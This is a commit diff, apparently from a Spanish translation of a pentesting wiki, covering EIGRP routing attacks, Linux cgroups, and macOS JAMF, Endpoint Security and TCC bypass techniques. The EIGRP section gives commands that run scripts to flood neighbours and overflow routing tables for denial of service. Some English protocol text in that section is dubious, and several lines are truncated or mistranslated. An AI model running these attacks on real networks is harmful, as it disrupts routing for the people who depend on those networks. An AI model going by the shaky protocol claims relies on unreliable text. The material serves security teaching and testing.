Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2023-06-14 15:03:19 +00:00
parent 78211d94fd
commit e8ef4e09d8
17 changed files with 137 additions and 101 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 358 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 138 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 138 KiB

After

Width:  |  Height:  |  Size: 165 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 165 KiB

After

Width:  |  Height:  |  Size: 32 KiB

View File

@ -1,6 +1,6 @@
---
description: >-
Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, investigaciones y noticias.
Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, lectura de investigaciones y noticias.
---
# HackTricks
@ -10,7 +10,7 @@ description: >-
_Logos y diseño de movimiento de Hacktricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="info" %}
**Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, investigaciones y noticias.**
**Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, lectura de investigaciones y noticias.**
{% endhint %}
Aquí puedes encontrar una pequeña **introducción:**
@ -80,4 +80,4 @@ Obtén acceso hoy:
<figure><img src=".gitbook/assets/logo.svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** a las empresas **de todo el mundo** contra las últimas amenazas de ciberseguridad proporcionando servicios de **seguridad ofensiva** con un enfo
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** a las empresas **de todo el mundo** contra las últimas amenazas de ciberseguridad proporcionando servicios de **seg

View File

@ -55,49 +55,36 @@ El comando **vtysh** nos llevará al panel de control del router FRR.
#### Introduction
The Enhanced Interior Gateway Routing Protocol (EIGRP) is a Cisco proprietary routing protocol that is widely used in enterprise networks. EIGRP is an advanced distance-vector routing protocol that uses a complex metric based on bandwidth, delay, reliability, load, and MTU to calculate the best path to a destination network. EIGRP is a classless routing protocol that supports variable-length subnet masks (VLSM) and route summarization.
EIGRP (Enhanced Interior Gateway Routing Protocol) is a Cisco proprietary routing protocol that is widely used in enterprise networks. It is an advanced distance-vector routing protocol that uses Diffusing Update Algorithm (DUAL) to calculate the shortest path to a destination network. EIGRP is a classless routing protocol that supports variable-length subnet masks (VLSM) and route summarization.
#### EIGRP Protocol Overview
EIGRP uses a hierarchical network design that consists of autonomous systems (AS) and areas. An AS is a collection of networks that are under a common administrative domain. An area is a logical grouping of networks that share the same routing policies. EIGRP uses a Diffusing Update Algorithm (DUAL) to calculate the best path to a destination network. DUAL is a loop-free algorithm that guarantees a fast convergence and a stable routing table.
EIGRP uses a hierarchical network design that consists of the following components:
#### EIGRP Protocol Vulnerabilities
- Autonomous System (AS): A collection of networks that are under a common administrative domain.
- Router: A device that forwards data packets between networks.
- Neighbor: A router that shares routing information with another router.
- Topology Table: A database that stores information about all known routes in the network.
- Routing Table: A database that stores the best routes to each destination network.
- Metrics: A set of values that are used to calculate the best path to a destination network.
EIGRP is a complex protocol that has several vulnerabilities that can be exploited by attackers. The most common EIGRP attacks are:
#### EIGRP Attacks
- EIGRP Neighbor Spoofing: An attacker can send EIGRP packets with a spoofed source address to impersonate a legitimate EIGRP neighbor. This can be used to inject false routing information or to cause a denial of service (DoS) attack.
EIGRP is vulnerable to the following attacks:
- EIGRP Route Injection: An attacker can inject false routing information into the EIGRP network to redirect traffic to a malicious destination or to cause a DoS attack.
- Eavesdropping: An attacker can intercept EIGRP packets and obtain sensitive information such as network topology, routing tables, and metrics.
- Spoofing: An attacker can send fake EIGRP packets to a router and manipulate its routing table. This can lead to traffic redirection, black-holing, and denial of service (DoS) attacks.
- Injection: An attacker can inject fake EIGRP packets into the network to advertise false routes. This can lead to traffic interception, man-in-the-middle (MitM) attacks, and data leakage.
- DoS: An attacker can flood the network with EIGRP packets to consume network resources and cause network congestion.
- EIGRP Route Poisoning: An attacker can send EIGRP packets with a high metric value to advertise a non-optimal route to a destination network. This can be used to cause a DoS attack or to perform a man-in-the-middle (MitM) attack.
#### EIGRP Countermeasures
- EIGRP Authentication Bypass: EIGRP supports authentication to prevent unauthorized access to the routing domain. However, if the authentication mechanism is not properly configured, an attacker can bypass it and gain access to the routing domain.
To mitigate EIGRP attacks, the following countermeasures can be implemented:
#### EIGRP Attack Tools
There are several tools that can be used to perform EIGRP attacks, such as:
- eigrp_spoofer: A tool that allows an attacker to spoof EIGRP packets and impersonate a legitimate EIGRP neighbor.
- eigrpinject: A tool that allows an attacker to inject false routing information into the EIGRP network.
- eigrp_poisoner: A tool that allows an attacker to perform EIGRP route poisoning attacks.
- eigrp_auth_bypass: A tool that allows an attacker to bypass EIGRP authentication mechanisms.
#### EIGRP Attack Mitigations
To mitigate EIGRP attacks, it is recommended to:
- Enable EIGRP authentication and configure strong passwords.
- Use access control lists (ACLs) to restrict EIGRP traffic to trusted sources.
- Use encryption to protect EIGRP traffic.
- Monitor EIGRP traffic for anomalies and suspicious activity.
- Keep EIGRP software up-to-date with the latest security patches.
- Authentication: EIGRP supports MD5 authentication to prevent unauthorized access to the network. This ensures that only trusted routers can exchange routing information.
- Encryption: EIGRP supports IPsec encryption to protect the confidentiality and integrity of routing information. This ensures that sensitive information cannot be intercepted or modified by attackers.
- Access Control: EIGRP packets should be filtered at the network perimeter to prevent unauthorized access to the network. This ensures that only legitimate traffic is allowed to enter the network.
- Monitoring: EIGRP packets should be monitored for anomalies such as unexpected traffic patterns, high packet rates, and unusual packet sizes. This ensures that attacks can be detected and mitigated in a timely manner.
```
Inguz# show version
```
@ -105,7 +92,7 @@ Inguz# show version
> **Sin embargo, no olvides que el dominio de enrutamiento EIGRP puede estar protegido por autenticación. Pero aún tienes la oportunidad de conectarte al dominio de enrutamiento. Cuando se envían paquetes hello, también contienen hashes criptográficos. Si puedes extraer estos hashes del volcado de tráfico y restablecer la contraseña, puedes iniciar sesión en el dominio de enrutamiento con esta contraseña.**
Ve a la configuración global y comienza el proceso **EIGRP**, especifica el número de sistema autónomo - **1**
Ve al modo de configuración global y comienza el proceso de **EIGRP**, especifica el número de sistema autónomo - **1**
Y también necesitamos declarar la red en la que estamos. Estamos en 10.10.100.0/24. Mi dirección es 10.10.100.50/32
```
@ -144,7 +131,7 @@ Así, después de establecer la vecindad, sabemos sobre la existencia de estas s
Argumentos del script:
* **Interfaz del sistema atacante (eth0);**
* **Número autónomo de sistema EIGRP (1);**
* **Número autónomo del sistema EIGRP (1);**
* **Subred donde se encuentra el sistema atacante. En mi caso, la subred es 10.10.100.0/24**
```
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
@ -191,23 +178,23 @@ Argumentos del script:
```
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
```
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption><p>Dump de tráfico durante una interrupción de vecindario</p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1) (4).png" alt=""><figcaption><p>Volcado de tráfico durante una interrupción de vecindario</p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (27) (1).png" alt=""><figcaption><p>El router GW1 se desconecta y reconecta infinitamente a EIGRP</p></figcaption></figure>
**Un ataque DoS puede llevarse a cabo de esta manera. Durante la operación, ocurren desconexiones y intentos de vecindario infinitos, paralizando parte del dominio de enrutamiento EIGRP.**
**Un ataque DoS puede llevarse a cabo de esta manera. Durante la operación, ocurren interrupciones y intentos de vecindario infinitos, paralizando parte del dominio de enrutamiento EIGRP.**
### Desbordamiento de tabla de enrutamiento <a href="#1d0c" id="1d0c"></a>
La esencia de este ataque es provocar el envío de una gran cantidad de rutas falsas, que desbordarán la tabla de enrutamiento. Esto agota los recursos informáticos del router, es decir, la CPU y la RAM, ya que las inyecciones ocurren a una velocidad enorme. Este ataque se implementa con el script [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py)
La esencia de este ataque es provocar el envío de una gran cantidad de rutas falsas, que desbordarán la tabla de enrutamiento. Esto agota los recursos informáticos del router, es decir, la CPU y la RAM, ya que las inyecciones ocurren a una velocidad enorme. Este ataque se implementa con el script [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py).
<figure><img src="../../.gitbook/assets/image (3) (4).png" alt=""><figcaption></figcaption></figure>
Argumentos del script
* **interfaz de red**
* **Número AS de EIGRP**
* **Dirección IP del atacante**
* **número AS de EIGRP**
* **dirección IP del atacante**
```
in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
```

View File

@ -1,22 +1,8 @@
## CGroups
## Información Básica
<details>
Los **grupos de control de Linux**, también conocidos como cgroups, son una característica del kernel de Linux que permite **limitar**, controlar y priorizar los **recursos del sistema** para una colección de procesos. Los cgroups proporcionan una forma de **administrar y aislar el uso de recursos** (CPU, memoria, E/S de disco, red, etc.) de grupos de procesos en un sistema. Esto puede ser útil para muchos propósitos, como limitar los recursos disponibles para un grupo particular de procesos, aislar ciertos tipos de cargas de trabajo de otros o priorizar el uso de recursos del sistema entre diferentes grupos de procesos.
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Información básica
Los **grupos de control de Linux**, también conocidos como cgroups, son una característica del kernel de Linux que permite **limitar**, controlar y priorizar los **recursos del sistema** para una colección de procesos. Los cgroups proporcionan una forma de **gestionar y aislar el uso de recursos** (CPU, memoria, E/S de disco, red, etc.) de grupos de procesos en un sistema. Esto puede ser útil para muchos propósitos, como limitar los recursos disponibles para un grupo particular de procesos, aislar ciertos tipos de cargas de trabajo de otros o priorizar el uso de recursos del sistema entre diferentes grupos de procesos.
Existen **dos versiones de cgroups**, 1 y 2, y ambas se utilizan actualmente y se pueden configurar simultáneamente en un sistema. La diferencia **más significativa** entre la versión 1 y la **versión 2** de cgroups es que esta última introdujo una nueva organización jerárquica para los cgroups, donde los grupos se pueden organizar en una estructura **similar a un árbol** con relaciones padre-hijo. Esto permite un control más flexible y detallado sobre la asignación de recursos entre diferentes grupos de procesos.
Existen **dos versiones de cgroups**, 1 y 2, y ambas se utilizan actualmente y se pueden configurar simultáneamente en un sistema. La **diferencia más significativa** entre la versión 1 y la **versión 2** de cgroups es que esta última introdujo una nueva organización jerárquica para los cgroups, donde los grupos se pueden organizar en una estructura **similar a un árbol** con relaciones padre-hijo. Esto permite un control más flexible y detallado sobre la asignación de recursos entre diferentes grupos de procesos.
Además de la nueva organización jerárquica, la versión 2 de cgroups también introdujo **varios otros cambios y mejoras**, como el soporte para **nuevos controladores de recursos**, un mejor soporte para aplicaciones heredadas y un mejor rendimiento.
@ -37,23 +23,23 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
No te alarmes si la **salida es significativamente más corta** en tu sistema; esto solo significa que probablemente **solo tengas cgroups v2**. Cada línea de salida aquí comienza con un número y es un cgroup diferente. Aquí hay algunos consejos sobre cómo leerlo:
No te alarmes si la **salida es significativamente más corta** en tu sistema; esto solo significa que probablemente **solo tienes cgroups v2**. Cada línea de salida aquí comienza con un número y es un cgroup diferente. Aquí hay algunos consejos sobre cómo leerlo:
* Los números 2-12 son para cgroups v1. Los **controladores** para esos se enumeran junto al número.
* El número 1 también es para la **versión 1**, pero no tiene un controlador. Este cgroup es solo para **propósitos de gestión** (en este caso, systemd lo configuró).
* La última línea, el número 0, es para **cgroups v2**. No hay controladores visibles aquí. En un sistema que no tiene cgroups v1, esta será la única línea de salida.
* Los **nombres son jerárquicos y parecen partes de rutas de archivos**. Puedes ver en este ejemplo que algunos de los cgroups se llaman /user.slice y otros /user.slice/user-1000.slice/session-2.scope.
* El **número 1** también es para la **versión 1**, pero no tiene un controlador. Este cgroup es solo para **propósitos de gestión** (en este caso, systemd lo configuró).
* La última línea, **número 0**, es para **cgroups v2**. No hay controladores visibles aquí. En un sistema que no tiene cgroups v1, esta será la única línea de salida.
* Los **nombres son jerárquicos y parecen partes de rutas de archivos**. Puede ver en este ejemplo que algunos de los cgroups se llaman /user.slice y otros /user.slice/user-1000.slice/session-2.scope.
* El nombre /testcgroup se creó para mostrar que en cgroups v1, los cgroups para un proceso pueden ser completamente independientes.
* Los nombres bajo user.slice que incluyen sesión son sesiones de inicio de sesión, asignadas por systemd. Los verás cuando estés mirando los cgroups de una shell. Los cgroups para tus servicios del sistema estarán bajo system.slice.
* Los nombres bajo user.slice que incluyen sesión son sesiones de inicio de sesión, asignadas por systemd. Los verás cuando estés mirando los cgroups de una shell. Los **cgroups** para tus **servicios del sistema** estarán **bajo system.slice**.
### Visualización de cgroups
Los cgroups se **acceden típicamente a través del sistema de archivos**. Esto es en contraste con la interfaz de llamada al sistema Unix tradicional para interactuar con el kernel.\
Para explorar la configuración de cgroup de una shell, puedes mirar en el archivo `/proc/self/cgroup` para encontrar el cgroup de la shell, y luego navegar al directorio `/sys/fs/cgroup` (o `/sys/fs/cgroup/unified`) y buscar un **directorio con el mismo nombre que el cgroup**. Cambiar a este directorio y mirar alrededor te permitirá ver los diversos **ajustes e información de uso de recursos para el cgroup**.
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (2).png" alt=""><figcaption></figcaption></figure>
Entre los muchos archivos que pueden estar aquí, **los archivos de interfaz de cgroup primarios comienzan con `cgroup`**. Comienza mirando `cgroup.procs` (usar cat está bien), que lista los procesos en el cgroup. Un archivo similar, `cgroup.threads`, también incluye hilos.
Entre los muchos archivos que pueden estar aquí, **los archivos de interfaz de cgroup primarios comienzan con `cgroup`**. Comienza por mirar `cgroup.procs` (usar cat está bien), que lista los procesos en el cgroup. Un archivo similar, `cgroup.threads`, también incluye hilos.
<figure><img src="../../../.gitbook/assets/image (1) (1) (5).png" alt=""><figcaption></figcaption></figure>
@ -69,7 +55,7 @@ Para poner un proceso en un cgroup, **escribe su PID en su archivo `cgroup.procs
```shell-session
# echo pid > cgroup.procs
```
Así es como funcionan muchos cambios en cgroups. Por ejemplo, si desea **limitar el número máximo de PIDs de un cgroup** (a, digamos, 3.000 PIDs), hágalo de la siguiente manera:
Así es como funcionan muchos cambios en cgroups. Por ejemplo, si desea **limitar el número máximo de PIDs de un cgroup** (digamos, a 3,000 PIDs), hágalo de la siguiente manera:
```shell-session
# echo 3000 > pids.max
```
@ -77,7 +63,7 @@ Así es como funcionan muchos cambios en cgroups. Por ejemplo, si desea **limita
* Solo puedes poner **procesos en cgroups de nivel externo ("hoja")**. Por ejemplo, si tienes cgroups llamados /my-cgroup y /my-cgroup/my-subgroup, no puedes poner procesos en /my-cgroup, pero /my-cgroup/my-subgroup está bien. (Una excepción es si los cgroups no tienen controladores, pero no profundicemos más).
* Un cgroup **no puede tener un controlador que no esté en su cgroup padre**.
* Debes **especificar explícitamente los controladores para los cgroups hijos**. Lo haces a través del archivo `cgroup.subtree_control`; por ejemplo, si quieres que un cgroup hijo tenga los controladores de cpu y pids, escribe +cpu +pids en este archivo.
* Debes **especificar explícitamente los controladores para los cgroups secundarios**. Lo haces a través del archivo `cgroup.subtree_control`; por ejemplo, si quieres que un cgroup secundario tenga los controladores cpu y pids, escribe +cpu +pids en este archivo.
Una excepción a estas reglas es el **cgroup raíz** que se encuentra en la parte inferior de la jerarquía. Puedes **colocar procesos en este cgroup**. Una razón por la que podrías querer hacer esto es para separar un proceso del control de systemd.

View File

@ -8,7 +8,7 @@
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -49,7 +49,7 @@ Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Ja
Además, después de encontrar las credenciales adecuadas, podrías ser capaz de realizar un ataque de fuerza bruta en otros nombres de usuario con el siguiente formulario:
![](<../../.gitbook/assets/image (13).png>)
![](<../../.gitbook/assets/image (6).png>)
#### Autenticación de dispositivos JAMF
@ -138,9 +138,7 @@ También hay algunas herramientas preparadas para MacOS para enumerar automátic
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts de MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las APIs de Heimdal krb5 en macOS. El objetivo del proyecto es permitir una mejor prueba de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquete en el objetivo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
### Información del dominio
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```

View File

@ -5,10 +5,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -40,7 +40,7 @@ Endpoint Security es un marco proporcionado por Apple en macOS que proporciona u
Este marco proporciona una **colección de API para monitorear y controlar la actividad del sistema**, como ejecuciones de procesos, eventos del sistema de archivos, eventos de red y del kernel.
El núcleo de este marco se implementa en el kernel, como una extensión del kernel (KEXT) ubicada en **`/System/Library/Extensions/EndpointSecurity.kext`**. Esta KEXT se compone de varios componentes clave:
El núcleo de este marco se implementa en el kernel, como una extensión del kernel (KEXT) ubicada en **`/System/Library/Extensions/EndpointSecurity.kext`**. Esta KEXT está compuesta por varios componentes clave:
* **EndpointSecurityDriver**: actúa como el "punto de entrada" para la extensión del kernel. Es el punto principal de interacción entre el sistema operativo y el marco de seguridad de punto final.
* **EndpointSecurityEventManager**: este componente es responsable de implementar ganchos del kernel. Los ganchos del kernel permiten que el marco monitoree eventos del sistema interceptando llamadas del sistema.
@ -56,22 +56,22 @@ Los eventos que el marco de seguridad de punto final puede monitorear se clasifi
### Arquitectura del marco de seguridad de punto final
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
La **comunicación del espacio de usuario** con el marco de seguridad de punto final se realiza a través de la clase IOUserClient. Se utilizan dos subclases diferentes, según el tipo de llamante:
* **EndpointSecurityDriverClient**: requiere el permiso `com.apple.private.endpoint-security.manager`, que solo tiene el proceso del sistema `endpointsecurityd`.
* **EndpointSecurityExternalClient**: requiere el permiso `com.apple.developer.endpoint-security.client`. Esto lo utilizaría típicamente el software de seguridad de terceros que necesita interactuar con el marco de seguridad de punto final.
Las extensiones del sistema de seguridad de punto final: **`libEndpointSecurity.dylib`** es la biblioteca C que utilizan las extensiones del sistema para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con la extensión del kernel de seguridad de punto final.
Las extensiones de seguridad de punto final: **`libEndpointSecurity.dylib`** es la biblioteca C que utilizan las extensiones del sistema para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con la extensión del kernel de seguridad de punto final.
**`endpointsecurityd`** es un demonio del sistema clave que participa en la gestión y el lanzamiento de extensiones del sistema de seguridad de punto final, especialmente durante el proceso de arranque temprano. Solo las extensiones del sistema marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de arranque temprano.
Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema de seguridad** y las mueve a las ubicaciones del sistema adecuadas. Luego solicita al demonio relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las extensiones del sistema.
Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema** y las mueve a las ubicaciones del sistema adecuadas. Luego solicita al demonio relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las extensiones del sistema.
## Saltando ESF
ESF es utilizado por herramientas de seguridad que intentarán detectar a un equipo rojo, por lo que cualquier información sobre cómo evitarlo suena interesante.
ESF es utilizado por herramientas de seguridad que intentarán detectar a un equipo de red, por lo que cualquier información sobre cómo se podría evitar suena interesante.
### CVE-2021-30965

View File

@ -46,9 +46,15 @@ Esta es una [función pública](https://developer.apple.com/documentation/securi
```
Para obtener más información, consulte esta charla: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
### Ejecución mediante montaje
Si un instalador escribe en `/tmp/fixedname/bla/bla`, es posible **crear un montaje** sobre `/tmp/fixedname` sin propietarios para que pueda **modificar cualquier archivo durante la instalación** para abusar del proceso de instalación.
Un ejemplo de esto es **CVE-2021-26089** que logró **sobrescribir un script periódico** para obtener la ejecución como root. Para obtener más información, consulte la charla: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## Referencias
* [https://www.youtube.com/watch?v=iASSG0\_zobQ](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
<details>
@ -57,7 +63,7 @@ Para obtener más información, consulte esta charla: [https://www.youtube.com/w
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -26,7 +26,7 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** a leerlo.
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** para leerlo.
### Bypass de SSH
@ -243,7 +243,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
Para obtener más información sobre cómo explotar esto, consulte el [**informe original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
Para obtener más información sobre cómo explotar esto fácilmente, consulte el [**informe original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
### CVE-2020-10006
@ -292,7 +292,7 @@ exploit_location]; task.standardOutput = pipe;
```
## Mediante montaje
### CVE-2020-9771 - Bypass de TCC de montaje_apfs y escalada de privilegios
### CVE-2020-9771 - Bypass de TCC y escalada de privilegios de mount\_apfs
**Cualquier usuario** (incluso los no privilegiados) puede crear y montar una instantánea de Time Machine y **acceder a TODOS los archivos** de esa instantánea.\
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Acceso completo al disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser otorgado por un administrador.
@ -367,7 +367,7 @@ La carpeta **`/var/db/locationd/` no estaba protegida de la montura de DMG**, po
En varias ocasiones, los archivos almacenarán información sensible como correos electrónicos, números de teléfono, mensajes... en ubicaciones no protegidas (lo que cuenta como una vulnerabilidad en Apple).
<figure><img src="../../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
## Referencia

View File

